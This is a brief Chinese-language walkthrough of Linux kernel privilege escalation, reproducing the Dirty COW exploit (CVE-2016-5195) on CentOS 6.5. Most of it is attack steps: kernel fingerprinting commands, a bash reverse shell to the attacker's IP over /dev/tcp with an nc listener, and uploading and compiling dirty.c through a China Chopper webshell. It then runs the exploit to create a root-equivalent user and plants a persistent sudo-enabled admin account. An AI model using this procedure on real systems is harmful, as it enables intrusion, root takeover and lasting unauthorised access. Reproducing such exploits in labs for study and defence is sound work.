利用系统内核提权漏洞基本思路
1.判断系统版本
uname -a (Linux查看操作系统内核信息)
cat /proc/version (Linux查看当前操作系统版本信息)
cat /etc/issue 或cat /etc/redhat-release(Linux查看版本当前操作系统发行版信息)
2.根据内核版本去找对应的exp
3.获取交互式shell(反弹端口)
bash -i >& /dev/tcp/自己的ip/自己的端口 0>&1
4.交互式shell里上传exp并编译
上传路径:/tmp(可读可写可执行目录)
实例:利用centos6.5复现脏牛漏洞(CVE-2016-5195)
1.查看内核版本,符合脏牛使用条件>2.6.2
2.获取交互式shell(反弹端口),菜刀虚拟终端输入命令:bash -i >& /dev/tcp/自己的ip/自己的端口 0>&1,nc输入nc.exe -lvvp 端口进行监听,之后会将shell弹出
3.用菜刀上传exp(dirty.c)到tmp文件
4.在交互式shell里使用gcc编译此文件: 命令: gcc -pthread dirty.c -o dirty -lcrypt
如果目标服务器上没有安装gcc编译软件怎么办:可以另找一台机器 (最好内核,操作系统版本和系统位数都和目标机一致)编译,将编译好的文件直接上传
5.执行编译后的dirty文件,命令:./dirty 123456
会生成一个firefart用户代替root,密码就是上面输的123456
6.使用firefart用户进行远程登陆,就具有root权限了
7.之后创建一个用户xxx,使用passwd更改密码,将其添加到普通管理员组wheel,之后去掉etc/sudoers里105行的#
8.此时使用xxx用户登陆,也具有root权限,之后将自动备份的/tmp/passwd.bak内容还原到etc/passwd,即可恢复之前的root权限